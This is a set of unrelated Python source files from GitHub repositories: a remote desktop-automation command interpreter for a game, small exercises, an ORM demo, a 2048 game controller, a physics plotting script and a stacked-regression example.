{"seq_id":"12859707491","text":"import subprocess\nfrom time import sleep\nfrom typing import Dict, Any, List, Tuple, Optional\n\nfrom rka.components.impl.factories import AutomationFactory, CaptureFactory, CursorCaptureFactory\nfrom rka.components.io.injector import IInjector\nfrom rka.components.io.log_service import LogLevel\nfrom rka.components.rpc_brokers.command_util import command_debug_str\nfrom rka.components.rpc_services import IInterpreter\nfrom rka.components.rpc_services.remote import InterpretException\nfrom rka.components.ui.automation import IAutomation, MouseCoordMode\nfrom rka.components.ui.capture import CaptureArea, MatchPattern, Capture, Offset, ICaptureService\nfrom rka.components.ui.cursor_capture import ICursorCapture\nfrom rka.eq2.shared.control import logger\nfrom rka.eq2.shared.control.action_id import ACTION_ID_KEY, ActionID\nfrom rka.eq2.shared.host import HostConfig\nfrom rka.util.util import to_bool\n\n\nclass AbstractInterpreter(IInterpreter):\n    def _interpret_action(self, action_id: ActionID, command: Dict[str, Any]) -> Any:\n        raise NotImplementedError()\n\n    def interpret(self, command: Dict[str, Any]) -> Optional[bool]:\n        if logger.get_level() <= LogLevel.DETAIL:\n            logger.detail(f'interpreting: {command_debug_str(LogLevel.DETAIL, command)}')\n        elif logger.get_level() <= LogLevel.DEBUG:\n            logger.debug(f'interpreting: {command_debug_str(LogLevel.DEBUG, command)}')\n        if ACTION_ID_KEY not in command.keys():\n            # TODO make it action ID key?? maybe not need to handle ping specifically, just a NOP\n            if 'ping' in command.keys():\n                logger.detail(f'handling ping command')\n                return True\n            logger.error(f'missing action code, ignoring: {command}')\n            return None\n        action_id = ActionID(command[ACTION_ID_KEY])\n        result = self._interpret_action(action_id, command)\n        logger.debug(f'interpret result: {result}')\n        return result\n\n\nclass ActionInterpreter(AbstractInterpreter):\n    def __init__(self, host_config: HostConfig, injectors: List[IInjector]):\n        self.__injectors: Dict[str, IInjector] = {injector.get_name(): injector for injector in injectors}\n        self.__host_config = host_config\n        self.__config_window_name = None\n        self.__automation: IAutomation = AutomationFactory.create_automation()\n        self.__captureservice = CaptureFactory.create_capture_service()\n        self.__cursorcapture = CursorCaptureFactory.create_cursor_capture()\n\n    def _get_automation(self) -> IAutomation:\n        return self.__automation\n\n    def _get_capture_service(self) -> ICaptureService:\n        return self.__captureservice\n\n    def _get_cursor_capture(self) -> ICursorCapture:\n        return self.__cursorcapture\n\n    def key(self, command: Dict[str, Any]) -> bool:\n        count = int(command['count'])\n        key_type_delay = None\n        if 'key_type_delay' in command.keys():\n            key_type_delay = float(command['key_type_delay'])\n        for i in range(count):\n            keyspec = str(command['key'])\n            self.__automation.send_key_spec(keyspec, key_type_delay)\n        return True\n\n    def text(self, command: Dict[str, Any]) -> bool:\n        text = str(command['text'])\n        key_type_delay = None\n        if 'key_type_delay' in command.keys():\n            key_type_delay = float(command['key_type_delay'])\n        self.__automation.send_text(text, key_type_delay)\n        return True\n\n    def mouse(self, command: Dict[str, Any]) -> bool:\n        if self.__config_window_name is not None:\n            self.__automation.activate_window(self.__config_window_name)\n        click_only = False\n        if 'x' not in command.keys() or command['x'] is None:\n            click_only = True\n        if 'y' not in command.keys() or command['y'] is None:\n            click_only = True\n        if not click_only:\n            x = int(command['x'])\n            y = int(command['y'])\n            if 'speed' in command.keys():\n                speed = int(command['speed'])\n            else:\n                speed = None\n            if 'coord_mode' in command.keys():\n                coord_mode = MouseCoordMode(int(command['coord_mode']))\n            else:\n                coord_mode = MouseCoordMode.RELATIVE_WINDOW\n            self.__automation.mouse_move(x, y, speed=speed, coord_mode=coord_mode)\n        if 'button' in command.keys() and command['button'] is not None:\n            button = str(command['button'])\n            modifiers = None\n            if 'modifiers' in command.keys():\n                modifiers = command['modifiers']\n            self.__automation.mouse_click(button, modifiers=modifiers)\n        elif click_only:\n            raise InterpretException(f'missing button informatio for {command}')\n        return True\n\n    def double_click(self, _command: Dict[str, Any]) -> bool:\n        self.__automation.mouse_double_click()\n        return True\n\n    def mouse_scroll(self, command: Dict[str, Any]) -> bool:\n        scroll_up = int(command['scroll_up'])\n        clicks = 1\n        if 'clicks' in command.keys():\n            clicks = int(command['clicks'])\n        self.__automation.mouse_scroll(scroll_up, clicks)\n        return True\n\n    def window_activate(self, command: Dict[str, Any]) -> bool:\n        window_name = str(command['window'])\n        if 'set_default' in command.keys():\n            set_default = bool(command['set_default'])\n            if set_default:\n                logger.info(f'Setting default window name to {window_name}')\n                self.__config_window_name = window_name\n        if not window_name:\n            logger.warn(f'Window name is None')\n            raise InterpretException(f'Window name is None in {command}')\n        wait_time = None\n        if 'wait_time' in command.keys():\n            wait_time = command['wait_time']\n        maximize = self.__host_config.maximized_window\n        self.__automation.activate_window(window_name, win_wait=wait_time, maximize=maximize)\n        return True\n\n    def window_check(self, command: Dict[str, Any]) -> bool:\n        window_name = str(command['window'])\n        return self.__automation.is_window_active(window_name)\n\n    # noinspection PyMethodMayBeStatic\n    def delay(self, command: Dict[str, Any]) -> bool:\n        delay = float(command['delay'])\n        sleep(delay)\n        return True\n\n    # noinspection PyMethodMayBeStatic\n    def process(self, command: Dict[str, Any]) -> bool:\n        path = str(command['path'])\n        args = str(command['args']).split()\n        subprocess.run([path, *args])\n        return True\n\n    def inject_command(self, command: Dict[str, Any]) -> bool:\n        injected_command = str(command['injected_command'])\n        injector_name = str(command['injector_name'])\n        once = to_bool(command['once'])\n        passthrough = to_bool(command['passthrough'])\n        command_id = str(command['command_id'])\n        duration = None\n        if 'duration' in command.keys():\n            duration = command['duration']\n        return self.__injectors[injector_name].inject_command(command=injected_command, command_id=command_id,\n                                                              once=once, pass_through=passthrough, duration=duration)\n\n    def remove_injectd_command(self, command: Dict[str, Any]) -> bool:\n        injector_name = str(command['injector_name'])\n        command_id = str(command['command_id'])\n        self.__injectors[injector_name].remove_command(command_id)\n        # don't inform about failed injection cancels, it just means the injection wasnt added or already expired\n        return True\n\n    def inject_prefix(self, command: Dict[str, Any]) -> bool:\n        prefix = str(command['prefix'])\n        injector_name = str(command['injector_name'])\n        self.__injectors[injector_name].set_injection_prefix(prefix)\n        return True\n\n    def inject_postfix(self, command: Dict[str, Any]) -> bool:\n        postfix = str(command['postfix'])\n        injector_name = str(command['injector_name'])\n        self.__injectors[injector_name].set_injection_postfix(postfix)\n        return True\n\n    def find_capture_match(self, command: Dict[str, Any]) -> Optional[Tuple[str, str]]:\n        patterns = MatchPattern.decode_pattern(command['patterns'])\n        if 'capture_area' in command.keys():\n            capture_area = CaptureArea.decode_area(command['capture_area'])\n            capture_area.set_default_wintitle(self.__config_window_name)\n        else:\n            capture_area = CaptureArea(mode=patterns.get_mode(), wintitle=self.__config_window_name)\n        threshold = None\n        if 'threshold' in command.keys():\n            threshold = float(command['threshold'])\n        result = self.__captureservice.find_capture_match(patterns, capture_area, threshold)\n        if result is None:\n            return None\n        tag_str, rect = result\n        return tag_str, rect.encode_rect()\n\n    def find_multiple_capture_match(self, command: Dict[str, Any]) -> List[Tuple[str, str]]:\n        patterns = MatchPattern.decode_pattern(command['patterns'])\n        if 'capture_area' in command.keys():\n            capture_area = CaptureArea.decode_area(command['capture_area'])\n            capture_area.set_default_wintitle(self.__config_window_name)\n        else:\n            capture_area = CaptureArea(mode=patterns.get_mode(), wintitle=self.__config_window_name)\n        threshold = None\n        if 'threshold' in command.keys():\n            threshold = float(command['threshold'])\n        max_matches = None\n        if 'max_matches' in command.keys():\n            max_matches = int(command['max_matches'])\n        result = self.__captureservice.find_multiple_capture_match(patterns, capture_area, threshold, max_matches)\n        return [(tag_str, rect.encode_rect()) for (tag_str, rect) in result]\n\n    def get_capture(self, command: Dict[str, Any]) -> Optional[str]:\n        capture_area = CaptureArea.decode_area(command['capture_area'])\n        capture = self.__captureservice.get_capture(capture_area)\n        if not capture:\n            return None\n        return capture.encode_capture()\n\n    def save_capture(self, command: Dict[str, Any]) -> bool:\n        capture = Capture.decode_capture(command['capture'])\n        tag = command['tag']\n        return self.__captureservice.save_capture_as_tag(capture, tag)\n\n    def click_capture_match(self, command: Dict[str, Any]) -> bool:\n        patterns = MatchPattern.decode_pattern(command['patterns'])\n        if 'capture_area' in command.keys():\n            capture_area = CaptureArea.decode_area(command['capture_area'])\n            capture_area.set_default_wintitle(self.__config_window_name)\n        else:\n            capture_area = CaptureArea(mode=patterns.get_mode(), wintitle=self.__config_window_name)\n        threshold = None\n        if 'threshold' in command.keys():\n            threshold = float(command['threshold'])\n        max_clicks = None\n        if 'max_clicks' in command.keys():\n            max_clicks = int(command['max_clicks'])\n        click_delay = None\n        if 'click_delay' in command.keys():\n            click_delay = float(command['click_delay'])\n        click_offset = None\n        if 'click_offset' in command.keys():\n            click_offset = Offset.decode_offset(command['click_offset'])\n        return self.__captureservice.click_capture_match(self._get_automation(), patterns, capture_area, threshold, max_clicks, click_delay, click_offset)\n\n    def capture_cursor(self, _command: Dict[str, Any]) -> Tuple[Optional[Dict[str, Any]], Optional[Dict[str, Any]]]:\n        mask, color = self.__cursorcapture.get_cursor_base64_bitmaps()\n        mask_d, color_d = None, None\n        if mask:\n            mask_d = mask.save_to_dict()\n        if color:\n            color_d = color.save_to_dict()\n        return mask_d, color_d\n\n    def get_cursor_fingerprint(self, _command: Dict[str, Any]) -> Optional[bytes]:\n        return self.__cursorcapture.get_cursor_fingerprint()\n\n    action_interpreter_mapping: Dict[ActionID, callable] = {\n        ActionID.KEY: key,\n        ActionID.TEXT: text,\n        ActionID.MOUSE: mouse,\n        ActionID.DOUBLE_CLICK: double_click,\n        ActionID.MOUSE_SCROLL: mouse_scroll,\n        ActionID.WINDOW_ACTIVATE: window_activate,\n        ActionID.WINDOW_CHECK: window_check,\n        ActionID.PROCESS: process,\n        ActionID.DELAY: delay,\n        ActionID.INJECT_COMMAND: inject_command,\n        ActionID.REMOVE_INJECTED_COMMAND: remove_injectd_command,\n        ActionID.INJECT_PREFIX: inject_prefix,\n        ActionID.INJECT_POSTFIX: inject_postfix,\n        ActionID.GET_CAPTURE_MATCH: get_capture,\n        ActionID.FIND_CAPTURE_MATCH: find_capture_match,\n        ActionID.FIND_MULTIPLE_CAPTURE_MATCH: find_multiple_capture_match,\n        ActionID.CLICK_CAPTURE_MATCH: click_capture_match,\n        ActionID.SAVE_CAPTURE: save_capture,\n        ActionID.CAPTURE_CURSOR: capture_cursor,\n        ActionID.CURSOR_FINGERPRINT: get_cursor_fingerprint,\n    }\n\n    action_cancel_mapping: Dict[ActionID, callable] = {\n        ActionID.INJECT_COMMAND: remove_injectd_command,\n    }\n\n    def _interpret_action(self, action_id: ActionID, command: Dict[str, Any]) -> Any:\n        if action_id not in ActionInterpreter.action_interpreter_mapping.keys():\n            logger.info(f'action code not in mapping: {command}')\n            raise ValueError(action_id)\n        cancel = False\n        if 'cancel' in command.keys():\n            cancel = to_bool(command['cancel'])\n        if cancel:\n            if action_id not in ActionInterpreter.action_cancel_mapping.keys():\n                logger.error(f'action not cancellable: {command}')\n                return False\n            action_handler = ActionInterpreter.action_cancel_mapping[action_id]\n        else:\n            action_handler = ActionInterpreter.action_interpreter_mapping[action_id]\n        return action_handler(self, command)\n","repo_name":"npstash/public_rka","sub_path":"rka/eq2/shared/control/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":13928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21904961673","text":"\ncount=0\ndef mirror(word):\n    \"\"\"\n    Reversing the string\n    :param input: word\n    :return: reversed word\n    \"\"\"\n    w=\"\"\n    count = -1\n    for i in word:\n        w+=word[count]\n        count+=-1\n    t=word+w\n    print(t)\n\nmirror(\"happy\")\nmirror(\"Python\")\nmirror(\"\")\nmirror(\"a\")","repo_name":"annazof/LCbasic2021","sub_path":"Baisc Track/how_to_think/Chapter 5/5.1.19.8.py","file_name":"5.1.19.8.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18742616438","text":"# config\n# NUMBER_MAX_GENERATIONS = 10\n# NUMBER_OF_SOLUTIONS    = 12\n# NUMBER_OF_RUNS         = 3\nNUMBER_MAX_GENERATIONS = 150\nNUMBER_OF_SOLUTIONS    = 100\nNUMBER_OF_RUNS         = 50\n\n\nMUTATION_RATE          = 0.05\nCROSSOVER_RATE         = 0.5\nHOME_POSITION          = 99\nCROSSOVER_METHOD       = [\"static_cut\",\"probabilistic_cut\"][1]\nSELECTION_METHOD       = [\"tournament\",\"roulette\"][0]\nTOKENS_ON_GOAL_SCALING = 1","repo_name":"vmstavens/ludopy","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24014790480","text":"#!/usr/bin/python3\nfrom IO import *\nimport scipy.integrate as integrate\nimport bubble\nimport reduce\nimport matplotlib as mat\nimport matplotlib.pyplot as plt\n\nplt.switch_backend('TkAgg')\nmat.rcParams.update({'font.size': 16})\nmat.rcParams[\"font.family\"] = \"Times New Roman\"\nsize = 12\nQuan = 'Polar'\nplt_type = 0  #0: (optimzed) G(q) order 5,  1: G(q) with different lambda\n\nif plt_type ==0:\n    fig, ax1 = plt.subplots()\nelif plt_type ==1:\n    fig, ax = plt.subplots(1,7,sharey=True)\npoints = ['o','^','s','v','p','<','h','>']\n\nD = 3\nSpin = 2\n\ninlist = open(\"./paras\", 'r')\nPolar_beta = {}\nfor index, eachline in enumerate(inlist):\n    para = eachline.split()\n    if(len(para)==0):\n        break\n    beta = float(para[1])\n    rs   = float(para[2])\n    lam  = float(para[4])\n\n    # with open('../PIMC_data/PIMC_rs{0}_theta{1:3.1f}.txt'.format(rs,1/beta), 'r') as file:\n    #     PIMC_para = file.readline()\n    #     G_PIMC= np.loadtxt(file)\n\n    with open(\"./parameter\", \"w\") as file:\n        file.write(eachline+\"\\n\")\n        file.write(\"#Order, Beta, rs, Mass2, Lambda, MaxExtMom(*kF), TotalStep(*1e6), Seed, PID\")\n\n    Para = param(D, Spin)\n    # load chemical potential shift from the file\n    mu = np.loadtxt(Para.DataFolder+\"/dMu_beta{0}_rs{1}_lam{2}\".format(beta,rs,lam))\n    dMu2, dMu3, dMu4 = mu[0, :]\n    dMu2Err, dMu3Err, dMu4Err = mu[1, :]\n\n    DataDict, Step, KGrid = LoadFile_Diag(Para.DataFolder)\n    # print (DataDict)\n\n    ###### Calculate ideal finite-temperature polarization ################\n    BubbleQ = np.zeros((len(KGrid),2))\n    for qi, q in enumerate(KGrid):\n        BubbleQ[qi] = bubble.Bubble(D, Para.Beta, Spin, Para.kF, q)\n        # print (\"{0:10.6f}  {1:10.6f}\".format(q/Para.kF, BubbleQ[qi]))\n        # print (q/Para.kF, BubbleQ[qi][0], BubbleQ[qi][1])\n    BubbleQ[0,0] = -BubbleQ[0,0]   \n    print(r\"Polarization: $\\Pi(q=4.5k_F)$: \", BubbleQ[0,0],\"+-\",BubbleQ[0,1])  \n\n    Bubble = bubble.Bubble(D, Para.Beta, Spin, Para.kF, 0.0)\n    print (\"Uniform Polarization: \", Bubble[0], \"+-\", Bubble[1])\n    print (\"Uniform polarization for the Free electron at T=0: \", Para.Nf)\n    Phys = Bubble[0]*len(KGrid)\n\n    PolarDict = {}\n    for g in DataDict.keys():\n        print (g)\n        PolarDict[g] = reduce.EstimateGroup(DataDict, Step, Phys, g)\n    print(PolarDict)\n\n    for (o, key) in enumerate(sorted(PolarDict.keys())):\n        if key == (0, ):\n            continue\n        y = PolarDict[key]\n        # print (yellow(\"(Order: {0}, VerCT: {1}, SigmaCT: {2}) = {3:12.8f} +- {4:12.8f}\".format(\n        #     key[0], key[1], key[2], y[0][0], y[1][0]*2.0)))\n        PolarDict[key] = np.array((y[0], y[1]))\n        # if key[2] == 1:\n        #     PolarDict[key] = dMu2* PolarDict[key]\n        print (yellow(\"(Order: {0}, VerCT: {1}, SigmaCT: {2}， Diag: {3}) = {4:12.8f} +- {5:12.8f}\".format(\n            key[0], key[1], key[2], key[3], PolarDict[key][0, 0], PolarDict[key][1, 0])))\n        if index == 0:\n            Polar_beta[key] = [[beta, PolarDict[key][0,0], PolarDict[key][1, 0]]]\n        else:\n            Polar_beta[key].append([beta, PolarDict[key][0,0], PolarDict[key][1, 0]])\n    if index ==0:\n        Polar_beta['minus'] = [[beta, BubbleQ[0,0]+PolarDict[(1,0,0,0)][0,0], PolarDict[(1,0,0,0)][1, 0]]]\n    else:\n        Polar_beta['minus'].append([beta, BubbleQ[0,0]+PolarDict[(1,0,0,0)][0,0], PolarDict[(1,0,0,0)][1, 0]])\n############### Calculate polarization #########\n    DataDict, Step, Groups, ReWeight, Grids = LoadFile(Para.DataFolder, \"pid[0-9]+.dat\")\n    KGrid = Grids[\"KGrid\"]\n    # print(KGrid)\n\n    EsDataDict = {}\n    for g in DataDict.keys():\n        # print (g)\n        EsDataDict[g] = reduce.EstimateGroup(DataDict, Step, Phys, g)\n\n    for (o, key) in enumerate(sorted(EsDataDict.keys())):\n        if key == (0, ):\n            continue\n        y = EsDataDict[key]\n        print (yellow(\"(Order: {0}, VerCT: {1}, SigmaCT: {2}) = {3:12.8f} +- {4:12.8f}\".format(\n            key[0], key[1], key[2], y[0][0], y[1][0])))\n        EsDataDict[key] = np.array((y[0], y[1]))\n    Map = {}\n    for key in Groups:\n        if key == (0, ):\n            continue\n        mappedkey = (key[0]+key[1], key[2])\n        Map[key] = mappedkey\n    EsData = reduce.Reduce(EsDataDict, Map)\n\n    for (o, key) in enumerate(sorted(EsData.keys())):\n        if key == (0, ):\n            continue\n        y = EsData[key]\n        print (green(\"(Order: {0}, SigmaCT: {1}) = {2:12.8f} +- {3:12.8f}\".format(\n            key[0], key[1], y[0][0], y[1][0])))\n\n    Each = {}\n    if Para.Order >= 1:\n        Each[1] = EsData[(1, 0)]\n    if Para.Order >= 2:\n        Each[2] = EsData[(2, 0)]\n    if Para.Order >= 3:\n        print(dMu2)\n        Each[3] = EsData[(3, 0)]+dMu2*EsData[(1, 1)]\n    if Para.Order >= 4:\n        Each[4] = EsData[(4, 0)]+dMu2*EsData[(2, 1)]+dMu3*EsData[(1, 1)]\n    if Para.Order >= 5:\n        Each[5] = EsData[(5, 0)]+dMu2*EsData[(3, 1)]+dMu3 * \\\n            EsData[(2, 1)]+dMu4*EsData[(1, 1)]+dMu2**2*EsData[(1, 2)]\n\n    Accu = {}\n    for o in range(1, Para.Order+1):\n        Accu[o] = np.array(Each[o])\n        for i in range(1, o):\n            Accu[o] += Each[i]\n    for o in range(1, Para.Order+1):\n        print (\"Order {0}: {1:12.8f} +-{2:12.8f}, Accu: {3:12.8f} +-{4:12.8f}\".format(\n        o, Each[o][0, 0], Each[o][1, 0]*1.0, Accu[o][0, 0], Accu[o][1, 0]))\n\n    # ax1 = ax[index]\n    for key in sorted(PolarDict.keys()):\n        if key == (0, ):\n            continue\n        if key[2] != 2:\n            ax1.errorbar(KGrid/Para.kF, PolarDict[key][0], yerr=PolarDict[key][1], fmt='o-', capthick=1, capsize=1, ms=6,\n                label=\"({0},{1},{2}) Diag{3}\".format(key[0],key[1],key[2],key[3]))\n    ax1.errorbar(KGrid/Para.kF, -BubbleQ[:,0], yerr=BubbleQ[:,1], fmt='o-', capthick=1, capsize=1, ms=6,\n        color='black', label=\"ideal\")\n    ax1.errorbar(KGrid/Para.kF, Accu[Para.Order][0,:], yerr=Accu[Para.Order][1,:], fmt='o-', capthick=1, capsize=1, ms=6,\n        color='cyan', label=\"$\\Pi(q)$\")\n    \n    # ax1.set_xlim([0, 4.6])\n    # ax1.set_ylim([-0.01,0.016])\n    ax1.set_xlabel(\"$q/k_F$\", size=size)\n    ax1.legend(loc=1, frameon=False, fontsize=size)\n\n# print(Polar_beta)\nPolar_beta.update({'SelfE': np.zeros((index, 3)), '300s': np.zeros((index, 3)), '300v': np.zeros((index, 3)), 'total': np.zeros((index, 3))})\nbetas = np.array(Polar_beta[(1,0,0,0)])[:,0]\nfor (idx, key) in enumerate(sorted(PolarDict.keys())):\n    if key == (0, ) or key[2]==2 or key == (1,0,0,0):\n        continue\n    Polar_beta[key] = np.array(Polar_beta[key])\n    # if key==(2,0,0,0):\n    #     print(Polar_beta[key])\n    #     ax1.errorbar(Polar_beta[key][:,0], Polar_beta[key][:,1], yerr=Polar_beta[key][:,2], fmt='o-', marker='3', capthick=1, capsize=1, ms=6,\n    #         color=ColorList[idx], label='200 vertex correction')\n    # elif (key[0]==3 and key[3] in [2,3,4]) or key==(2,1,0,2):\n    if (key[0]==3 and key[3] in [2,3,4]) or key==(2,1,0,2):\n        Polar_beta['300v'][:,1] += Polar_beta[key][:,1]\n        Polar_beta['300v'][:,2] = Polar_beta['300v'][:,2]**2.0 + Polar_beta[key][:,2]**2.0\n    else:\n        print(key)\n        Polar_beta['SelfE'][:,1] += Polar_beta[key][:,1]\n        Polar_beta['SelfE'][:,2] = Polar_beta['SelfE'][:,2]**2.0 + Polar_beta[key][:,2]**2.0\n    Polar_beta['total'][:,1] += Polar_beta[key][:,1]\n    Polar_beta['total'][:,2] = Polar_beta['total'][:,2]**2.0 + Polar_beta[key][:,2]**2.0\nPolar_beta['minus'] = np.array(Polar_beta['minus'])\nPolar_beta['SelfE'][:,1] += Polar_beta['minus'][:,1]\nPolar_beta['SelfE'][:,2] = Polar_beta['SelfE'][:,2]**2.0 + Polar_beta['minus'][:,2]**2.0\n\nPolar_beta['total'][:,1] += Polar_beta['minus'][:,1]\nPolar_beta['total'][:,2] = (Polar_beta['total'][:,2]**2.0 + Polar_beta['minus'][:,2]**2.0)**0.5\n\nax1.errorbar(betas, Polar_beta['SelfE'][:,1], yerr=Polar_beta['SelfE'][:,2]**0.5, fmt='o-', marker='3', capthick=1, capsize=1, ms=6,\n    color=ColorList[1], label=\"self-energy insertion\")\n# ax1.errorbar(betas, Polar_beta['300s'][:,1], yerr=Polar_beta['300s'][:,2]**0.5, fmt='o-', marker='3', capthick=1, capsize=1, ms=6,\n    # color=ColorList[2], label=\"300 self-energy insertion\")\nax1.errorbar(betas, Polar_beta['300v'][:,1], yerr=Polar_beta['300v'][:,2]**0.5, fmt='o-', marker='3', capthick=1, capsize=1, ms=6,\n    color=ColorList[2], label=\"vertex correction\")\n\nprint(Polar_beta['total'])\nax1.errorbar(betas, Polar_beta['total'][:,1], yerr=Polar_beta['total'][:,2], fmt='o-', marker='3', capthick=1, capsize=1, ms=6,\n    color=ColorList[3], label=\"$\\Pi-\\chi_0$\")\n\n# Polar_beta['minus'] = np.array(Polar_beta['minus'])\n# ax1.errorbar(betas, Polar_beta['minus'][:,1], yerr=Polar_beta['minus'][:,2], fmt='o-', marker='3', capthick=1, capsize=1, ms=6,\n#     color=ColorList[4], label=\"order 1 self-energy\")\n\nax1.set_xlabel(r\"$\\beta$\", size=size)\nax1.set_ylabel(r\"$\\Pi(4.5k_F)$\", size=size)\n# plt.suptitle(r\"$\\beta={0}, r_s={1}$\".format(beta,rs))\n# plt.tight_layout()\nif plt_type==0:\n    ax1.legend(loc=1, frameon=False, fontsize=size)\n    plt.savefig('Plot/'+Quan+'_charge_rs{0}.pdf'.format(rs))\nelif plt_type==1:\n    fig.subplots_adjust(wspace=0)\n    # plt.savefig('Plot/'+Quan+'_charge_beta{0}_rs{1}_lam.pdf'.format(beta,rs))\nplt.show()\n","repo_name":"kunyuan/FeynCalc","sub_path":"tool/plt_polar_diag.py","file_name":"plt_polar_diag.py","file_ext":"py","file_size_in_byte":9134,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"32339651839","text":"import datetime\n\nfrom zdppy_orm import *\nimport logging\n\n# 创建日志对象\nlogger = logging.getLogger(\"zdppy_orm\")\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logging.StreamHandler())\n\n# 创建数据库连接\ndb = MySQLDatabase('zdppy_orm', host='127.0.0.1', user='root', passwd='root')\n\n\nclass BaseModel(Model):\n    class Meta:\n        database = db\n\n\nclass User(BaseModel):\n    username = TextField()\n\n    class Meta:\n        table_name = 'user'\n\n\nclass Tweet(BaseModel):\n    content = TextField()\n    timestamp = DateTimeField(default=datetime.datetime.now)\n    user = ForeignKeyField(User, backref=\"tweets\")\n\n    class Meta:\n        table_name = 'tweet'\n\n\nclass Favorite(BaseModel):\n    user = ForeignKeyField(User, backref=\"favorites\")\n    tweet = ForeignKeyField(Tweet, backref=\"favorites\")\n\n\nif __name__ == \"__main__\":\n    db.connect()\n    db.create_tables([User, Tweet, Favorite])\n\n    # 添加方式1\n    charlie = User(username=\"charlie\")\n    rows = charlie.save()\n    if rows == 0:\n        print(\"未更新数据\")\n\n    # 添加方式2\n    huey = User.create(username=\"huey\")\n\n    # 删除表，要先删除外键\n    db.drop_tables([Favorite, Tweet, User])\n","repo_name":"zhangdapeng520/zdppy_orm","sub_path":"examples/02添加数据.py","file_name":"02添加数据.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37430207984","text":"\"\"\"\n    游戏核心逻辑控制器\n\"\"\"\nimport random\n\nclass GameCoreController:\n    def __init__(self):\n        self.map = [[0, 0, 0, 0],\n                    [0, 0, 0, 0],\n                    [0, 0, 0, 0],\n                    [0, 0, 0, 0]]\n        self.list_zero = []\n\n    def __count_zero(self):\n        self.list_zero.clear()\n        for i in range(0,len(self.map)):\n            for j in range(0,len(self.map[i])):\n                if self.map[i][j] == 0:\n                    self.list_zero.append((i,j))\n\n    def generate_new_num(self):\n        self.__count_zero()\n        if len(self.list_zero) == 0: return\n        target_i,target_j = self.list_zero[random.randint(0, len(self.list_zero)-1)]\n        target_num = 4 if random.randint(0, 9) == 0 else 2\n        self.map[target_i][target_j] = target_num\n\n    def __square_matrix_tranpose(self):\n        for c in range(len(self.map) - 1):\n            for r in range(c + 1, len(self.map)):\n                self.map[r][c], self.map[c][r] = self.map[c][r], self.map[r][c]\n\n    def __zero_to_end(self,list_line):\n        \"\"\"\n        零元素移动到末尾\n        思路：从后向前依次判断，如果是零元素，则删除后追加零。\n        \"\"\"\n        list_line\n        for i in range(len(list_line) - 1, -1, -1):\n            if (list_line[i] == 0):\n                del list_line[i]\n                list_line.append(0)\n        return list_line\n\n    def __merge(self,list_line):\n        \"\"\"\n        合并\n        思路：\n            判断如果相邻且相同则合并\n        \"\"\"\n        for i in range(0, len(list_line) - 1):\n            if (list_line[i] == list_line[i + 1]):\n                list_line[i] *= 2\n                del (list_line[i + 1])\n                list_line.append(0)\n        return list_line\n\n    def move_left(self):\n        for i in range(0, len(self.map)):\n            list_merge = self.__zero_to_end(self.map[i])\n            self.map[i] = self.__merge(list_merge)\n        self.generate_new_num()\n\n    def move_right(self):\n        for i in range(0, len(self.map)):\n            # 因为切片，所以创建了新列表（深拷贝）\n            list_merge = self.map[i][::-1]\n            list_merge = self.__zero_to_end(list_merge)\n            new_line = self.__merge(list_merge)\n            self.map[i][::-1] = new_line\n        self.generate_new_num()\n\n    # 5. 定义函数，将二维列表map中的元素向上移动\n    def move_up(self):\n        self.__square_matrix_tranpose()\n        self.move_left()\n        self.__square_matrix_tranpose()\n\n    # 6. 定义函数，将二维列表map中的元素向下移动\n    def move_down(self):\n        self.__square_matrix_tranpose()\n        self.move_right()\n        self.__square_matrix_tranpose()\n\n    def check_if_move_row(self):\n        for i in range(0, len(self.map)):\n            for j in range(0, len(self.map[i]) - 1):\n                if (self.map[i][j] == self.map[i][j+1]):\n                    return True\n        return False\n\n    def check_if_move_col(self):\n        self.__square_matrix_tranpose()\n        for i in range(0, len(self.map)):\n            for j in range(0, len(self.map[i]) - 1):\n                if (self.map[i][j] == self.map[i][j+1]):\n                    self.__square_matrix_tranpose()\n                    return True\n        self.__square_matrix_tranpose()\n        return False\n\n    def check_if_over(self):\n        self.__count_zero()\n        if len(self.list_zero)==0 and self.check_if_move_row() == False and self.check_if_move_col() == False:\n            print(\"Game Over !\")\n            return True\n        return False\n","repo_name":"QQQinqqq/easyworkq","sub_path":"python/exercise/project_month01/game2048/bll.py","file_name":"bll.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25999467247","text":"from sklearn import datasets, metrics, preprocessing\nfrom stacked_generalization.lib.stacking import FWLSRegressor\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.ensemble import GradientBoostingRegressor\nfrom sklearn.ensemble import ExtraTreesRegressor\nfrom sklearn.linear_model import LinearRegression, Ridge\nimport numpy as np\n\n\nboston = datasets.load_boston()\nX = preprocessing.StandardScaler().fit_transform(boston.data)\nY = boston.target\n\nX_train = X[:200]\nY_train = Y[:200]\nX_test = X[200:]\nY_test = Y[200:]\n\nbreg = LinearRegression()\nregs = [RandomForestRegressor(n_estimators=50, random_state=1),\n        GradientBoostingRegressor(n_estimators=25, random_state=1),\n        Ridge(),\n        ExtraTreesRegressor(n_estimators=50),\n        ]\nfeature_func = lambda x: np.c_[np.ones((x.shape[0], 1)),\n                               x[:, 1].reshape((x.shape[0], 1)),\n                               x[:, 6].reshape((x.shape[0], 1)),]\n\nsr = FWLSRegressor(breg,\n                   regs,\n                   feature_func,\n                   n_folds=3,\n                   verbose=0,\n                   oob_score_flag=False)\n\nsr.fit(X_train, Y_train)\nscore = metrics.mean_squared_error(sr.predict(X_test), Y_test)\nprint (\"MSE of stacked regressor: %f\" % score)\n","repo_name":"fukatani/stacked_generalization","sub_path":"stacked_generalization/example/fwls_regression.py","file_name":"fwls_regression.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"47"}
